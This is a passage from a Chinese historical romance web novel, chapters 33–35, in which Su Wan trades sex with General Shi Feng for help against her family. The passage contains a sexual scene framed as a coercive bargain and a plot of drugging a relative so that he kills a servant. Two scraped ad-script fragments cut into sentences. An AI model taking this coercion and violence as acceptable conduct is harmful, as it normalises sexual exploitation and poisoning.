时枫充耳不闻,但他亦感觉这个姿势不很舒服,用力一提放她坐在桌案。 坚硬梨木桌案硌的苏绾生疼,忍不住眉心暗结。 “你是冰美人么?一碰就碎。” 虽嘴上讥诮,他还是顺手摸到软垫,小心抱起苏绾放到坐垫,促狭眉间方才舒展。他自己扯过一张藤椅,头枕着双臂,两条长腿翛然交叉搭在案边。悠然自得的样子,简直把这里当成他的将军府。 苏绾见他不肯说出来此缘由,只好放弃询问的打算,抓紧时间讲正事。她肩头微颤,满脸泛红,“时将军,你来的正好,我有要紧事找你。” 她将事情经过简单叙述一遍,隐去重要信息不提,只说自己本想让苏尽欢出丑,给他点教训尝尝,没成想苏尽欢不抵药力,竟发癫酿成大错。 “苏家强行囚禁太医院吏目,妄图遮掩丑行。奴家恳请时将军相助,将苏家罪行公布于众,让他们受到该有的惩罚。” 佳人的“血泪控诉”,时枫一个字都未听进去,他的心头阗满异样的情绪。仰首睐着苏绾,见她银面露洁,未施粉黛,清清爽爽稚嫩的脸,透着天然纯真的美,不禁腹内涌起一团火,热燥起来。也不肯提醒她扣好衣扣,就那样任凭内襟敞开。 男人眼神佻达,嘴角一扬,“求我帮忙,空着两只手,怎么行?” 苏绾猛然眼眸一沉,她望向时枫的眼瞳,却撞进一汪幽深不见底的寒潭,让她浑身战栗不已。 33. 夜访 屋内烛烬火孤星灭,唯廊檐一壁长明灯,点亮这个孤寂的夜晚,照得一屋子流萤浮光。 那点光亮映照时枫削峰般的脸颊,半明半昧,半痴半醒。 “你想要怎样?” 苏绾心内毫无底气,她自知天下没有免费的午餐,京卫指挥使也非仁济天下的善人。 男人架起眉峰,饧眼睐着她,摆出玩世不恭的态度,“契约里明码标价,一桩买卖一分价钱,换取本将军鼎力相助,你不算亏。” 这个家伙竟然还有脸提“契约”?醉仙楼一役,她被他算计得彻彻底底,吃干抹净不留痕迹。 苏绾沉寂一阵,星月光辉洒在乌发,罩上银白色素纱,朦胧缥缈,隔绝时枫专注的视线。 “怎么?你不愿意?那我走了。”说着,时枫拔座起身,抬起黑靴趸步往外走。 满泄乌发中,倏然伸出素白玉臂,拦挡男人的身躯,“别走。”声音细如蚊蚋,像月夜下踩踏的细沙,“一次就够了吗?” 浓浓夜色掩映铺面而来的喜悦,男人唇峰勾了勾,故意纠正她,“是一夜,你不会以为本将军那么容易打发吧?” 又是一晌沉寂,仿佛跌碎万世银光,良久,美人幽幽道:“可以先赊账吗?” “当然不行,一码归一码。”男人忽然化身为精明算计的商贾,一本正经做起生意来。 苏绾怔忪抬头,仰视男人明亮的眼眸,充满疑虑和惊诧,慨叹男人的鲁莽与胆大。 “若是被人看见了……” 时枫给予的回答,是强而有力的一贴。 他的呼吸热烫灼人,如山谷里呼啸的风,响彻在她耳畔。时而温柔,时而暴烈的掠夺与侵占,令苏绾毫无招架地阖了眼。 “看着我。”男人霸道命令。 苏绾极不情愿地睁开眼睛,猝不及防跌进幽暗深邃的曈,透着坚毅的色彩,又混杂些不一样的情愫,令她无法判断是敌是友。 席卷而来的狂风暴雨,洗劫了苏绾所能遮羞避涩的一切。她在风雨崔嵬中,软成一滩烂泥,爬也爬不起来,只能无助地呼唤,细碎地啜泣,“轻一点……” “你会说话啊?还以为你是哑巴。” 男人戏谑道,不待苏绾回应,像狩猎将脊梁拉成了一张弓,带着刺杀敌人的坚毅与狠戾。 夜深人静,掉落根针,四周听得一清二楚,叫她怎么敢放声说话?这人简直毫无道理。 “舒服吗?”男人哑声问道。 苏绾沉浸在花海,根本无暇思考人生。他的技术并非有多高明,事实上,毫无章法,还带着初生牛犊的鲁莽,横冲直闯。 久久没有回音,凤眸逐渐黯淡,凝成寒霜。“你是死的吗?”男人恨道。 时枫见识过醉仙楼里的旖旎,哪如眼前这般晦暗苦涩?然而他也没有闲暇在意,大捷在望,管不得那许多。 “啊……”苏绾低低呻吟。 那声细细的缠绵,勾连男人心尖一抽,在胜利白光照耀下,男人鸣金收兵。 男人恹恹地起身,穿上玄色圆领袍,系好盘扣。不知何时,战斗地点从桌案转移到床榻,宝鸭燃着鹅梨帐中香,妃色芙蓉帐挂着乳白色流苏,随着夜风吹拂轻轻摆动,搔弄着他的面颊,有点点痒。 白日里自他得到“鳐鱼”的报信之后,片刻不得安宁,胸中郁积满心满肺的忧虑——那个疯婆娘,竟然蠢到动用合欢散去杀人,到底在想什么! 一旦被人识破伎俩,查出是她下的药,还有何转圜余地?他不得不出手相救,否则她必落入无底深渊。 可他转念一想,不过萍水相逢,泛泛之交,即便有契约束缚在,双方也是纯粹的买卖交易关系——他并不是她的保镖护卫,没有义务时刻庇佑她的安危。 卖家并未主动求助,他何必上赶着倒贴? 他须坐下来,守株待兔,等着她来跟他诉苦。这么想着,恰时晴雷瀹了一壶“铁观音”,俯身递上茶盏,时枫捏着茶碗就往嘴里灌,唬得晴雷伸手阻拦,“爷慢着喝,烫。” 可惜慢了一息,滚热茶水烫了他的舌尖,时枫吃痛,手一松,茶盏坠地,碎裂两半,茶汤泼了他袍子满身湿漉漉,热腾腾。 晴雷忙着招呼下人打扫,一屋子人影来往丛脞,唯有时枫穿着湿袍子,两手拄着膝,坐在太师椅里呆望。 晴雷抽空道:“爷快去换衣裳。” 时枫抬起迷蒙的眼,自嘲道:“我真是愚鲁,她被关在家里,又怎么跑出来找我呢?” 他倏地拔座起身,“派人去春月坊,匿名购买一斤合欢散,切勿耽搁。” 晴雷不敢相信自己耳朵,“爷要干什么?” 时枫来不及解释,他一边解扣脱去湿袍子,一边翻找笔墨纸砚,搦管疾书一封,交给晴雷,“飞鸽传书给鳐鱼,午前务必将合欢散递送进去。另外,备好马车,我今晚要亲临苏府。” 晴雷眨巴眨巴乌黑眼仁,大概听明白世子爷的意图,可仍心存疑窦,“苏府封闭门户,不见得会给爷开门呐。” “谁说我要从门进?” 茫茫夜色降临,寒烟笼罩堂前影。巷前停泊一辆马车,窗帷遮挡严实,密不透风。 夜幕笼罩下,一道寒影掠过,踩着星月残辉,自深巷疾步马车前。 “爷,属下回来了。” 车厢内撩开窗帷一角,露出冷戾凤眸,亮如寒夜孤星,那点星光压着深宅大院的角灯,逡巡一周,又回到眼前,“寻到苏绾了?” 晴雷在风声鹤唳中,无声地点点头,“属下搜寻苏府内每一处院落,基本锁定苏姑娘的住所,在她的旧屋内。” “隋太医被软禁在东厢,很容易识别,屋门上了闩,门口有家丁守候。”许是风紧了些,晴雷抽动一下鼻子,“不过不是事儿,属下保准神不知鬼不觉放他出来。” 时枫沉寂片刻,“将他弄出来以后,别去县衙或者顺天府,直接送到刑部衙门,剩下的事情交给他自个儿。如果他问你是谁,你就亮出你的牙牌。” 晴雷一听,先慌了手脚,“爷要不打自招?走夜路哪有自报家门的道理?” 时枫淡然道:“隋太医在大理寺书房见过苏绾,彼时我跟他说,这是我的填房。如今他在苏府再次遇见苏绾,一拍脑瓜子就能想到我这边来。也罢,给他吃一剂定心丸,让他知道跟谁走才是正确的方向。” 晴雷转了转乌黑眼睛,揶揄道:“我看是爷走投无路,不得已暴露身份罢。” “滚一边去,轮得到你来教训我。”时枫骂骂咧咧放下窗帷,坐回本来位置。 趁着夜黑风高,他和晴雷两人穿着夜行衣,先后脚来到苏府后院墙根。踩着光滑墙面偶尔凹陷的坑洞,时枫轻轻纵身一跃,即翻越那堵令文竹望而生畏的高墙。 时枫驾轻就熟,沿着长长的廊檐,一路摸索到窗户根儿底下。窗户大开,没有点灯,月影来窗里,恰闻屋内人细语。 “一切皆由因果报应。” 淡淡的话语从苏绾嘴里说出来,带着低调的杀意,令时枫感到十分惊奇。 他从来都认为,苏绾是位眼光独到投机者,抓住一切机遇为自己谋求钱财利益。 可当他看到,苏绾冷静地筹谋策划,滴水不漏布置陷阱,心狠手辣又杀伐果断,他又有些不确定,苏绾到底是什么人。 他对她的底细充满好奇心,她就像苎麻线缠绕的谜团——剪不断,理还乱,勾连着他的兴致,吸引他去解开谜语,让他深陷其中,无法自拔。 带着解谜的悸动,时枫侧入廊檐,悄悄打开房门。 鸟乌窥冻砚,星月入幽房,光辉荟聚处,美人酣睡梦游仙。 他饶有兴致地负手伫立,将她愁眉轻叠的睡颜望了一阵,嘴角不知不觉微微上扬,心里涌起暖流,滋润干涸的心田。 这么个小东西,整日想着杀人越货、作奸犯科。还真是有趣。 心神不由得荡了一荡,当下生出些破坏欲,想要逗弄她一逗,最好再逼出她几滴眼泪,让小东西哭着求他;又或者将她美丽的身体撕裂,把他的锋芒融入进一段破碎的缱绻柔情中。 他并没意识到,这份欢喜的破坏欲,源自于霪欲本初。更加不会想到,那霪欲遮掩下的情欲,代表什么意义。 如此想着,时枫情不自禁伸出手去,触碰那柔软的、堪堪不受风雨的小肩膀,将满身满脑的情丝淋漓尽致倾泻给她。 酣兴过后,凉风穿堂而过,倏然吹醒时枫混沌的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脑子,水落石出,某种不知名的情绪,如雨后春笋般,蠢蠢欲动。 手臂伸展,怀里缩着柔弱美人,时枫睇着她的后背,忍不住伸出手。粗壮的指头轻拂一段波折曲线,肌肤滑腻触感,顺着指尖传递给他,淡淡的情绪,占据了他的胸膛。 “你方才说,‘婆子下手重了些’,是什么意思?苏家又对你用刑了?” 这是他第二次过问此事,可苏绾没心情回复他,余浪仍一波又一波翻涌,不断拍打着身体那些青红印记。她伏在男人硬实胸膛假寐,装作没听见,专心细细地呼吸。 时枫按着性子等了半日,仍不见她回答,带着属于男人的懊恼,他负气地推开苏绾,蹭的坐起身,似要报复她一般,言语充满挑衅,“那婆子怎么你了,竟让你动了杀人的念头?” 苏绾闻之一愣,断然否定,“我不知道你在说什么。” “哼,”时枫嗤笑一声,左手系右手腕间锦带,却怎么都系不上,颇有点窘迫。 苏绾瞧见他的窘迫,默默坐起身,递过葱指去,巧手翻弄几下,帮他解了燃眉之急。 时枫低垂着眼,借着月光将她纤白玉手仔细逡巡,又有些犹豫,这样素净的一双手,怎会沾染杀人的鲜血? 假他人之手,苏绾真正想除掉的,是那名被捣杀的嬷嬷。虽然尚不清楚,苏绾同嬷嬷之间纠结何种仇恨,但那血淋淋的事实真相,逃不过他时枫的眼睛。 “这难道不是一出‘借刀杀人‘戏码?” 时枫趁机捉住那双葇荑,拖在大掌里摩挲,手心紧贴那份细嫩柔软,他有点舍不得放手。 苏绾想也没想,脱口而出:“人不是我杀的,这事儿与我无关。”言毕,像要赌气似的,她用力一抽,扯掉牵绊,逃也似得收回两手。 眼见葇荑撤回,时枫有些不高兴,冷笑道:“少跟我装蒜,我不信你不懂合欢散的杀伤力。你说你想给苏尽欢一个教训尝尝,我看未必如此。你端的什么心思,你自己心里清楚。” 行院里的腌臜手段,她是知道的。从前她和她娘蜗居“春月坊”,亲眼见识过“合欢散”的威力。只需一捻,任他是修成正果得道高僧,也会毅然决然委弃佛主,孜孜不倦滚入红尘纷扰。 席间苏尽欢的酒壶酒盏,被她抹了整整一包合欢散,足够十个人的用量,晾他是大罗金仙也扛不住这等药力,怪不得他会发癫发狂。 他猜得没错,这是一出‘借刀杀人‘,然而又不止于此,还有一幕‘一石二鸟‘,惩处苏尽欢,给苏家以致命打击,才是她的真正意图,也是她最擅长的手段,屡试不爽。 可她不能把自己见不得人的秘密抖落出来,拿到太阳底下晒一晒,只好演一演,搪塞过去。 苏绾垂眸道:“我是什么心思,与你无关。咱们俩之间,就是纯粹的交易伙伴,合作关系。一手交钱,一手交货。多余的解释你别问,问我也只有一句话,我不知道。” “你说什么?!” 眼见温驯的小东西,突然露出獠牙,反咬他一口,着实令时枫感到吃惊不小。从来只有他发号施令的份儿,什么时候,俘虏反过来骑在他头上拿捏他? 怒火瞬间燃起,烧毁最后一丝理智。男人拔身而起,背对着苏绾,口不择言,“这是你跟我说话的态度?你怕是忘了自己的处境和立场。是谁跪着求我宠幸?在我眼里,你不过就是个玩物,我高兴了,哄着你,赏你点好处。不高兴了,你就是鞋底的泥点子。倘若你给脸不要脸,一再不知好歹,也别怪本将军,翻脸不认人!” 言毕,时枫一甩手,窗台轻轻一纵,歘然离去。 掀起一阵冷风,吹灭帐中香烬,妃色芙蓉帐左右摇晃,白色流苏乱结愁肠。苏绾躺卧软褥,仰望窗外那点月明星光,心里蓦然感到一阵无力的惆怅感。 复仇的道路,险阻且长。 正怅然间,忽闻屋外人群丛脞,来来去去脚步声。 苏绾穿好内襟,披上褙子,启门望去,正赶上无霜捉裙归来,“小姐,大事不妙,隋太医跑了,夫人正满院子抓人呢。” 苏绾定了定神,眼眸蒙上风霜。 那个家伙,个性虽张扬跋扈,好歹不食言。这一晚的辛苦付出,总算没有白费。 34. 断袖 寅时达旦,晨光熹微,东方亮起一抹鱼肚白,古老的北京城碧瓦朱栏缥缈间,仿佛蒙上一层朦胧的轻纱。旭日渐曈曈,映照城西刑部、都察院、大理寺三法司衙门,光辉灿烂犹如仙门圣地。 那光芒格外刺眼,照得隋太医几乎抬不起头,只一味缩着颈子,躲在黑衣人阴影下。夜行衣连结白大褂,一黑一白,游魂人间,好似索命的鬼使无常。 晴雷瞥了一眼刑部衙门上方悬挂的金匾,沉声道:“衙门不多时即点卯,大人堂前稍候。” 隋太医耷拉脑袋,沉重如灌铅,障袂擦拭八字须沾染的晨露,囫囵道:“承蒙世子爷美意,下官得以逃出生天,不胜感激。然则,状告苏府逆子一事,非急于一时,待下官回堂草拟诉状为先。” 从他踏入苏府家门那一刻起,隋太医的心情,如扁舟小棹渡海,起伏跌宕,忽上忽下。不小心卷入苏夫人同苏二小姐之间的纷争,已是让他骑虎难下,又搭了时枫的人情。一边是权势滔天的苏家,另一边是不容小觑的时家,哪边他都得罪不起,更不消说,这里面还牵扯温侍郎的颜面。 局势尚不明朗,良禽宜择木而栖。 晴雷一声冷笑,“大人是去报官,并非上诉,写什么状子?难不成,隋大人想拖延时间,给罪犯以活路?” 隋太医吓得肩膀一耸,连连端袖,“不敢不敢,下官怎敢助纣为虐。实在是手里证据不足,一家之言,口说无凭,如何使人信服?” 晴雷自怀中掏出纸包,随手丢给隋太医,“证据在此,交给刑部主事即可。” 隋太医胡乱伸手一接,好似接着一块沉甸甸的硬铁,摊在手心,左右为难,“这、这……” 晴雷眼神一凛,起手端起雁翎刀,疾风凑近隋太医脖颈,刀鞘“噌”的一声滑开,半边雪锋曝射,闪了隋太医的眼。 “隋大人,请容卑职说句推心置腹话儿,站在风口浪尖,骑墙犹豫不决,小心卡着□□。您道他吏部苏郎中不好惹,影响仕途擢升,容易‘丢官’,可您也别小看我们世子爷,同京卫指挥使对抗,容易‘丢命’。这里面孰轻孰重,大人不会还看不清楚吧。” 几句话唬得隋太医心惊胆颤,额头汗如雨注,滴淌刀锋利刃,顺流而下。“丢官”还是“丢命”,这根本不是道难题。大难临头,保命要紧。 隋太医梗着脖颈不敢低头,口中连连称是,“清楚清楚,下官知道怎么做了。下官这就去堂前击鼓鸣冤,定要将苏家逆子的罪行昭告天下。” 晴雷收回刀鞘,挎在腰间蹀躞,不紧不慢道:“隋大人果然明事理。只是,不用我提醒,想必大人也知道,这整件事情,前前后后,跟我们世子爷,可没有半文钱关系。” “下官明白,绝不敢供出时将军。”见对方收回锋芒,隋太医这才敢举起袖子,胡乱抹一通汗水。哪知汗水越抹越多,刮喇好几下也不干净,越发手忙脚乱。 “那是最好。”晴雷冷笑一声,提刀翛然离去,抛下一阙暗影,隐匿于金乌梵天。 日上红波浮碧巘,杨柳黄莺啼花梢。晴雷一路行色匆匆,人群里穿梭几个来回,绕道回到时将军府。 时枫落座太师椅内,两腿交叉搭在案边,脑袋仰靠椅背,抱着双臂阖目养神。初夏和风自窗户拂过脸颊,带着石榴花香,香气氤氲,难消心头余恨。 因着西厢房同苏绾吵了一架,他独坐书房思忖一夜,直至艳阳高照。满腔的憋屈不痛快,像笼在渔网里的游鱼,闷在心里不得发泄。 那个疯婆娘,凭什么对他颐指气使、嚣张跋扈?当自己是神女下凡?仗着美色迷惑人心,要他召之即来挥之即去,想得美! 哼,他才不要再管她的事,以后就算她哭着喊着求他,眼泪流成河,他也绝不会心软。 甫一阖眼,脑海里闪现那双澹如星子的眼眸,卷睫扑扇扑扇,撩拨他的心弦,痒痒的。他起手一挥,驱散那诱人的幻影。 他陡然拔座起身,拎起案上茶壶,咚咚引项灌凉茶水。饮了一海冰萃茶,方压下去身体里蹿涌的那股邪火。 晴雷趸进书房,见时枫两眼淤红,两手撑在桌案,惊道:“爷病了?早知如此,属下叫隋太医先给爷看病不迟。” 时枫抬起眼眸,声音喑哑如霜,“人送到了?” 晴雷拜道:“是。属下送隋太医至刑部衙门口,按爷的吩咐,给了他一包合欢散,叫他去报官。然则……” 晴雷忧虑道:“单单合欢散一项尚不足以支撑有罪定论,属下担心,刑部没有十足把握,不敢接这案子。” 时枫缓缓落座,手指弹敲桌案,“人证物证俱在,还须找到受害者尸体。苏家封锁门户好几日,咱们的眼线一直盯着他们,期间并未有任何可疑人物出入。既然尸体运不出去,一定还停留在苏府,我猜,多半埋进后花园的黄土。” 晴雷问道:“话虽如此,如何能将尸体下落,告知刑部呢?总不能让爷亲自去说吧。” 时枫挺了挺剑眉,“当然不是我去说,你跑大理寺一趟,跟邵云礼讲,来活了,叫他洗干净屁股,赶紧上刑部查案子去。” 清风徐徐吹拂,花瓣簌簌而落。这厢晴雷领命退下,那边沈枝意如流蝶般急急跨门飞入,时枫躲闪不及,硬生生被堵在书房里。 沈枝意穿杏黄百褶裙,头簪一支西府海棠,千娇百媚,婀娜多姿。她丝毫不怯场,大大方方站在时枫面前,娇嗔道:“枫哥哥,昨日说好要带我出去逛什刹海,一早我就来了,可不许反悔哦。” 翻阅记忆海洋,恍惚有那么一瓢饮,讲的是游什刹海这一遭,然而他也不十分确定——脑子里半阙海水,依旧涤荡着苏府闺房那一缕倩影。不由自主地,身体陷入那片温柔的海,浸润在旖旎芳艳的怀抱中。 见他怔忪半晌,沈枝意凑近,摊开纤白玉手,凤眸前晃了晃,“枫哥哥,你在想什么呢?” 漆黑眼眸翻转,映射一片白光,旖旎风光蓦然沉寂。将那沉海的情思收拢,时枫定了定神,垂下睫毛,“什刹海有什么好看的?靠人力挖出来三海水道,风景比不过江南水乡细致。” 沈枝意背着小手,仰脸望着高暗身影,脸颊泛着桃花,“什刹海囊尽西湖春,秦淮夏,洞庭秋,集众水之巅,景致冠绝京华。又怎么比不过江南呢?” 大约距离时枫身体过近,沈枝意耸着鼻翼嗅了嗅,明眸流转,“枫哥哥,你身上怎么有股鹅梨香味?” “有吗?”时枫抬起手臂左闻右闻,闻不出什么鹅梨香气。 他平日里常熏木松香,倒也不是刻意为之,只是塞外松香易得,干净又清爽,仆人时常用此香薰,他习惯了而已。 沈枝意不但嗅出他常用的木松香,还从玄色袍子缝隙间,捕捉到隐匿其中的一股甜腻的鹅梨香。她皱了皱小鼻子,“此乃鹅梨帐中香,南唐后主李煜发明,以鹅梨蒸沉香用之,为周娥皇安神助眠。” 沈枝意扁嘴,言止一瞬,挑高眼角窥他,“原来枫哥哥偷偷出去玩,都不带着我。” 时枫眉间一紧,他可不就是逛了苏府闺房,搂着美人亲昵销魂,才沾染鹅梨帐中香气。 刀削斧劈的面额,挂上一丝被人识破的羞赧,继而升华成恼怒。时枫眼眸一沉,旋即背过身去,俄延半晌,声音冷得如同淬了冰,“我这几日有些忙,无暇陪你游玩,晴雷会带你去什刹海。” 那一阙冰冷背影半明半暗,阳光为其熨帖一层金边,映在沈枝意杏眼眸子里,倏然消失黯淡无光。她抽动一下小巧鼻子,细细的嗓音夹带着哭腔,“枫哥哥,你忙吧,我不打搅你。” 言毕,旋身捉裙离去,像只逃之夭夭的蝴蝶,倏尔隐没春花烂漫中。 时枫始松口气,真要命,竟然被小姑娘看透心事。他摇摇头,无奈地笑了笑,却不知是笑别人太机灵,还是笑自己太痴傻。 窗外日头高挂,巳时将近。为等待晴雷的回信,他堪堪独坐书房,未曾阖眼半刻。如今事已近成,一颗悬挂的心,总算坠回心窝。 时枫站起身,伸了个懒腰,哼着小曲儿,弯在塌上睡回笼觉。阖眼不过一刻,神思晃晃悠悠,屋外响起一阵踏踏的脚步声。 时枫迷瞪瞪地睁开眼,正对上白发苍颜,胡须苒苒,唬得时枫顿时拔身起立,双眼瞪如铜铃,“沈伯父,你来啦。” 沈恪黑着老脸,目光犀利如两把剑,齐刷刷架在时枫脖颈,“你先坐好,我有话要问你。” 时枫心里忐忑不安,一刻前他才惹得沈枝意不高兴,沈恪就找上门来拿他兴师问罪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。他迟疑着,让出首座太师椅,自己单扯一条圆杌凳。 待二人坐定,沈恪重重叹口气,双手反撑膝头,“榆白世侄,你知我戎马生涯六十年,儿子生了一群,却只得这一位宝贝女儿。卿卿是我的命,自小捧在手里怕掉了,含在口里怕化了。好不容易长成十六岁,焉知老夫不是挨了十六年的苦?她已长大成人,也是老夫放手的时候,我不能守护她一辈子。” 老人絮絮叨叨,分享养女心得,直呼生活不易,令时枫愈加相信,沈恪是来教训他冷落沈枝意。他埋首自省一番,想着一会该如何赔不是,才不致叫老人太难堪。 熟料沈恪掀起老眼,话锋一转,“当年我与你爹定下这门姻亲,也是相中你勇武刚毅,是个稳重的好孩子。我记得,你小时候酷爱舞枪弄棒,十三岁时,一杆金枪挑遍军中无敌手,除了你大哥,没有你打不过的。还有你十八岁时,单挑鞑靼第一勇士,你赤膊上阵摔角,不出二十回合,揍得对方跪地喊娘……” 沈恪讲得唾沫横飞,时枫听得一头雾水,得空截住话头,紧着问:“伯父有什么话,尽可直说,不必拘泥于礼数。” 沈恪瞥了时枫一眼,按住膝头,沉了沉气,“那我就把话说开了,昨日闲来无事,我独自一人去西市天桥逛了逛,路边茶摊坐了会,偶然听见一些关于你的闲谈。” 沈恪顿了顿,似斟酌遣词,良久,低眉道:“坊间流传,京卫指挥使喜好男色,当街强掳算命先生。你可曾听闻?” “啊?”时枫瞠目结舌,立马捏紧拳头,怒道:“谁说的?我抓他来审问,为何泼我脏水。” 沈恪花白胡子一翘,翻了翻眼皮,“不分青红皂白,动不动就抓人审问,搞什么‘一言堂’,岂不是乱了军纪军法?” 时枫被他训斥一通,也不敢反驳,缩了缩身子,好似落败的将军,气势矮人一截,“伯父莫要偏听小人谗言。” 沈恪双手攥拳,“榆白世侄,老夫提点你一下,在外要注意形象名声。作为京卫指挥使,替皇上拱卫京师,就要起带头作用。你可倒好,大街上观其算命书生年轻俊美,竟强掳行猥亵之举,真病态也。你何时沾染断袖邪癖?那位书生姓甚名谁?究竟是你见色起意,还是你们苟且已久?” “今日你非要给老夫一个说法不可。” 沈恪气得胡子眉毛一把抓,时枫欲哭无泪,他怎可能有龙阳之癖,几个时辰前他还在芙蓉帐里鱼水相交之缠绵,沾了一身的鹅梨帐中香气。 天晓得,那算命先生其实是苏绾假扮的,而那个“猥亵”之吻,属实是他强迫她,但他有一肚子的冤屈无处倾泻。他与她之间,牵扯着剪不断理还乱的情丝万缕,一两句话,又怎能说得清。 战场上,大将军时枫当仁不让,英姿飒爽来酣战。此时此刻,这位英雄却起了怂心,他左手摩挲着束腕间的绿松石,眼也不敢抬,“没有的事,伯父一定是弄错了。” “我对男人不感兴趣。” 时枫咽了口唾沫,仿佛困囿死地的将军,挣扎着抛出最后一击,“伯父可知我这‘不世出卫将军’称号,如何挣得?还不是小侄扮作恩客,潜伏行院半月,同花娘交好才套取到关键证据。倘若小侄喜好男色,银样镴枪头,妓子一试便知,断不可能蒙混过关。” “想来是哪个不开眼的小人,背后乱嚼舌根,恶意诋毁小侄清誉。” 半裁挺拔的轮廓隐没在阳光之下,让人看不清他的表情,也幸好如此,才不被人瞧见他内心的慌乱——他已经黔驴技穷,不得不拉出“□□”的假历史,来为自己背书。尽管他心知肚明,春月坊那场战役,依旧不缺少关于苏绾的一笔浓厚色彩,并深深印在他心里——他方才意识到,他的世界,不知不觉,到处阗满苏绾的痕迹。 “嗯……” 沈恪捋了捋花白胡须,目光明亮如炬,像一只随时俯冲的鹰隼,鹰眼捕捉半踞的猎豹。他须从猎豹闪躲的眼神中,翻找任何可疑的蛛丝马迹,好为他的掌上明珠,挑选世上最好的乘龙快婿。 “相较之断袖,□□,亦好不到哪里去。” 沈恪横劈一刀,正砍中他的面门,左右不得蔽。时枫愕然,面上写满难得一见的窘迫,滑过他迷蒙的眼眸,嘴里喃喃,“这、这……” 35. 缉拿 月落日升,转起又过了一天。夏风徐徐吹拂,杏花零落,古老的深宅大院,沉浸在碎了的杏花雨,好似铺了一层粉雪,遮掩束缚的沉重枷锁。 两瓣粉白掉落窗前,黏在苏绾手背,她抬起素手,勾连鬓间几缕碎发,轻叹一声,“嗳,都什么时候了,母亲还争执那点对错。合欢散哪里来的,有那么重要吗?总归是在三弟屋里发现的,还能凭空长出来不成。” 苏夫人侧坐堂前梨木太师椅,横眼眱着苏绾,细长指甲拨弄星月菩提子珠串,“你少在那里装象糊弄人,声东击西,保不齐就是你弄的手脚。我就觉得此事蹊跷古怪,待我查出证据,叫你无话可说。这个家里面,拢共只你一个奸诈的,不是你捣鬼还能是谁?直接送到县衙门口,各种刑具一上,不怕撬不开你的嘴。” “青天白日头,夫人欲冤枉好人?人家衙门老爷吃素的?随便一查,谁是好人,谁是奸诈,清清楚楚。到时候罚个‘栽赃嫁祸’罪名,叫你吃不了兜着走。”忽然芸娘从苏君识身后探出头来,忍不住帮着苏绾咒骂几句。 苏家宅院里,竟敢有人不给她脸面,当着这么多人面,叫她下不来台。苏夫人手指芸娘,兜头破口大骂,“主子谈话,轮得到外室填房插嘴?不过是家养的看门狗,再敢乱咬人,小心我撕烂你的嘴。不要以为我不知道,你们都是一伙的,联合起来陷害我苏家。” 终于惹怒家主苏君识,他手一拍椅臂,湛蓝色褂子抖了抖,“都给我住嘴,成何体统!老的小的皆不省心,是想气死我么?今日咱们齐聚一堂,是为商讨良策应对家门危机,多余废话少说。” 五光十色喧阗戛然而止,堂内陡然安静下来,芸娘本想借苏君识的威严,再补骂几句,回首恰撞见苏绾朝她暗递眼色,瞬间恍然大悟—— 苏家迫害她的手段,即为塑造她泼妇形象,离间她和老爷感情,端阳夜她不是吃到教训了?芸娘识趣地缩回骨头,继续躲进苏君识阴影里,柔弱小女人般垂着眼。 苏夫人眼角下瞥一眼苏君识,捏着珠串,不紧不慢道:“老爷不必忧烦,这个家没那么容易垮掉。” “一来,欢儿昨晚醒了,神志清醒,气色尚佳,问话都能听明白,直吵吵喊饿,只是身子骨还有些乏累,须再躺卧几日,想来那合欢散要不得人性命,不过是耗些精气神。” “二来,这隋太医原是趁小厮打瞌睡,偷了钥匙遁逃出走。人既已安全离开,也不必非要咬着我苏家不放,多一事不如少一事,他也不想在朝廷树敌不是?退一万步讲,他就算一时想不通,真的上衙门告我们,那也不怕。凡事讲究证据确凿,他口说无凭,手里一点把柄没有,拿什么来状告咱们?” “三来,这件事说白了,咱欢儿是受害者,不知被哪个糟心的下药,迷蒙了心智。多亏老天爷保佑,好不容易捡回条命,何罪之有?眼下关键,是揪出那陷害欢儿的歹人,将他绳之以法,方为对策。” 苏夫人一席话,头头是道,条理清晰,说得全家皆心内大震,又好似吞了定心丸,个个都觉得,这场灭顶灾难其实没什么大不了。 苏绾暗自佩服不已,苏夫人不愧是脂粉队里的英雄,遇事冷静果断,看待问题清楚透彻,可惜生得女儿身,若为男子,必能在诡谲多变的官场中,打拼出一片天地。 但她认同归认同,屎盆子不能往自己身上揽,玉手抖落裙裾沾染的杏花瓣,“母亲要抓歹人,自是理所当然,但请不要乱放冷箭。三弟醒了以后,母亲询问他数次,可曾吃过合欢散,他怎么说的来着?” 苏绾顿一顿,模仿苏尽欢的语气,摇头晃脑,“‘好像吃了,又好像没吃,记不太清楚了。反正从前吃过不少,也买过很多次,家里大概还有些存货也未可知。’” 星眸一转,苏绾正色道:“我倒想问一问,这里面,哪句话说的是我苏绾?” 苏夫人一时语塞,她本意就是栽赃嫁祸给苏绾,自然也没有真正的证据。况且,连她自己都认为,这事与苏绾无关,因为一切都太巧合,又太诡异。 然而她必须揪出“替罪羊”,来给她的孩子顶罪,苏绾是最佳选择。谁让她的娘,是那个“娼妓狐媚子”九香,要怪就怪自己投错胎。 苏夫人将星月菩提串向香案一掷,丹凤眼斜吊,“谁也没说就是你,瞎嚷嚷什么。我们苏家家大业大的,走到这一步绝不能散,总要有人站出来挑担子。你姐姐十八岁尚未出阁,如今远在热河,自是管不了事。你弟弟才十六,大好前途在望,若背负杀人罪名,此生再难走官途。你作为姊姊,忍心看你弟弟沉沦堕落吗?” 苏绾乍惊失色,“母亲这话什么意思?难道要我替他顶罪?亏您想的出来。我好好的家里不住,犯不着要去坐牢,自毁前程。” 苏夫人牵出帕子拈在手里,“到不了坐牢的地步,你就说本想逗弄一下你弟弟,谁成想你弟弟年岁小,身子骨不抵,发浑得了失心疯,失手打死嬷嬷。那长官看你不过弱女子,断不会发送你下大狱,顶多批评教育你两句,不碍事的。” 这般说着,将一双凄凄的眼盯着苏绾,“退一万步讲,就算真个捉了你问罪,温侍郎怎会坐视不理?定会早早替你疏通关系,你怕什么?” 苏绾火气倒拔上来,猛地从圆杌凳站起身,“岂有此理。你们这是明摆着欺负人。不是我做的,为何要我承担后果?家里面这么多人,偏偏挑上我,看我好欺负不是。今日就是杀了我,我也绝不会替你们背这口黑锅,但凡留着一口气,我也要去衙门告发你们,叫你们得到应有的处罚。” 苏夫人眼眸冷了一层,帕子一掀,“你当我求你?这里可没有你说话的份儿,来人呐,给我绑了二小姐,即刻拿住送官。” 